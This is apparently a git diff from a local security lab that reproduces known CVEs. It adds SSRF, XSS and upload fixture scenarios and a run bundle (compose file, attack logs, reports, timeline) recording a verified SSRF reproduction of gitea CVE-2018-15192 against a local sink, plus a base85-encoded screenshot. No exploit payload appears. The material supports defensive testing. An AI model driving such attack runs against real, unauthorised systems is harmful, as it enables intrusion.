PORT), Handler) + server.serve_forever() + diff --git a/00-environments/templates/fixtures/undici/ssrf/scenario.json b/00-environments/templates/fixtures/undici/ssrf/scenario.json new file mode 100644 index 00000000..e4070218 --- /dev/null +++ b/00-environments/templates/fixtures/undici/ssrf/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"undici","family":"ssrf","title":"Undici SSRF Fixture","subtitle":"Undici-style request path proving only local sink callbacks.","browser_required":false} + diff --git a/00-environments/templates/fixtures/vite/file-upload/scenario.json b/00-environments/templates/fixtures/vite/file-upload/scenario.json new file mode 100644 index 00000000..4116de2c --- /dev/null +++ b/00-environments/templates/fixtures/vite/file-upload/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"vite","family":"file-upload","title":"Vite File Upload Fixture","subtitle":"Local upload marker path with browser-visible proof.","browser_required":true} + diff --git a/00-environments/templates/fixtures/vite/proxy-boundary/scenario.json b/00-environments/templates/fixtures/vite/proxy-boundary/scenario.json new file mode 100644 index 00000000..32ea4d54 --- /dev/null +++ b/00-environments/templates/fixtures/vite/proxy-boundary/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"vite","family":"proxy-boundary","title":"Vite Proxy Boundary Fixture","subtitle":"Dev-server proxy boundary fixture with proof banner.","browser_required":true} + diff --git a/00-environments/templates/fixtures/vite/xss/scenario.json b/00-environments/templates/fixtures/vite/xss/scenario.json new file mode 100644 index 00000000..17d56e0f --- /dev/null +++ b/00-environments/templates/fixtures/vite/xss/scenario.json @@ -0,0 +1,2 @@ +{"system_id":"vite","family":"xss","title":"Vite XSS Fixture","subtitle":"Client rendering proof for stored payload execution marker.","browser_required":true} + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml new file mode 100644 index 00000000..b3b72e16 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: python:3.12-alpine + networks: + - labnet + ports: + - 18105:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/gitea/ssrf/scenario.json + PORT: '3000' + command: + - python + - /workspace/00-environments/templates/fixtures/shared/python_fixture.py + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json new file mode 100644 index 00000000..f8ac5443 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json @@ -0,0 +1,57 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json" + } + ], + "success": true, + "detail": "server-side callback reached the local sink", + "before": {}, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "server-side callback reached the local sink", + "case_id": "gitea--CVE-2018-15192" + } + }, + "after": {}, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "server-side callback reached the local sink", + "case_id": "gitea--CVE-2018-15192", + "sink_hits": 1, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2018-15192" + }, + { + "event": "sink-hit", + "detail": "case_id=gitea--CVE-2018-15192" + }, + { + "event": "attack", + "detail": "server-side callback reached the local sink" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json new file mode 100644 index 00000000..626c3c53 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18105/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:27:52 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "979" + }, + "body_excerpt": "\n\n\n \n \n Gitea SSRF Fixture\n + +

    运行 gitea-gitea--CVE-2018-15192-20260318012749

    +
    +
    漏洞条目
    gitea--CVE-2018-15192
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-ssrf
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:27:49+00:00select-advisorycompletedgitea--CVE-2018-15192
    2026-03-18T01:27:49+00:00resolve-repro-profilecompletedgitea-ssrf
    2026-03-18T01:27:49+00:00doctorcompletedall checks passed
    2026-03-18T01:27:52+00:00provision-compose-environmentready-
    2026-03-18T01:27:52+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:27:52+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:27:52+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:27:52+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:27:52+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:27:54+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:27:54+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2018-15192-20260318012749
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.ssrfcompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json
    +

    证据清单

    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md new file mode 100644 index 00000000..f0d867f6 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md @@ -0,0 +1,66 @@ +# 运行 gitea-gitea--CVE-2018-15192-20260318012749 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2018-15192` +- 系统: `gitea` +- Repro Profile: `gitea-ssrf` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:27:49+00:00` +- 完成时间: `2026-03-18T01:27:54+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:27:49+00:00` | `select-advisory` | `completed` | gitea--CVE-2018-15192 | +| `2026-03-18T01:27:49+00:00` | `resolve-repro-profile` | `completed` | gitea-ssrf | +| `2026-03-18T01:27:49+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:27:52+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:27:52+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:27:52+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:27:52+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:27:52+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:27:52+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:27:54+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:27:54+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2018-15192-20260318012749 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.ssrf` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `0` +- 容器日志: `1` +- 请求日志: `2` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json new file mode 100644 index 00000000..608bc45a --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/run.json @@ -0,0 +1,145 @@ +{ + "run_id": "gitea-gitea--CVE-2018-15192-20260318012749", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2018-15192", + "repro_profile_id": "gitea-ssrf", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.ssrf", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:27:49+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2018-15192" + }, + { + "at": "2026-03-18T01:27:49+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-ssrf" + }, + { + "at": "2026-03-18T01:27:49+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:27:52+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:27:54+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:27:54+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "gitea-gitea--CVE-2018-15192-20260318012749" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side callback reached the local sink" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:27:49+00:00", + "finished_at": "2026-03-18T01:27:54+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-15192-20260318012749/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html new file mode 100644 index 00000000..c922e78c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html @@ -0,0 +1,26 @@ + + + + Gitea Proxy Boundary Fixture + + + +
    +

    Gitea Proxy Boundary Fixture

    +

    Forwarded header trust boundary and admin gate fixture.

    +
    Baseline ready
    +

    System: gitea / Family: proxy-boundary

    + + + + + +
    + + \ No newline at end of file diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png new file mode 100644 index 0000000000000000000000000000000000000000..d683db72cbf4cb1cb8f048ee5e9d66f5960ccb55 GIT binary patch literal 28111 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 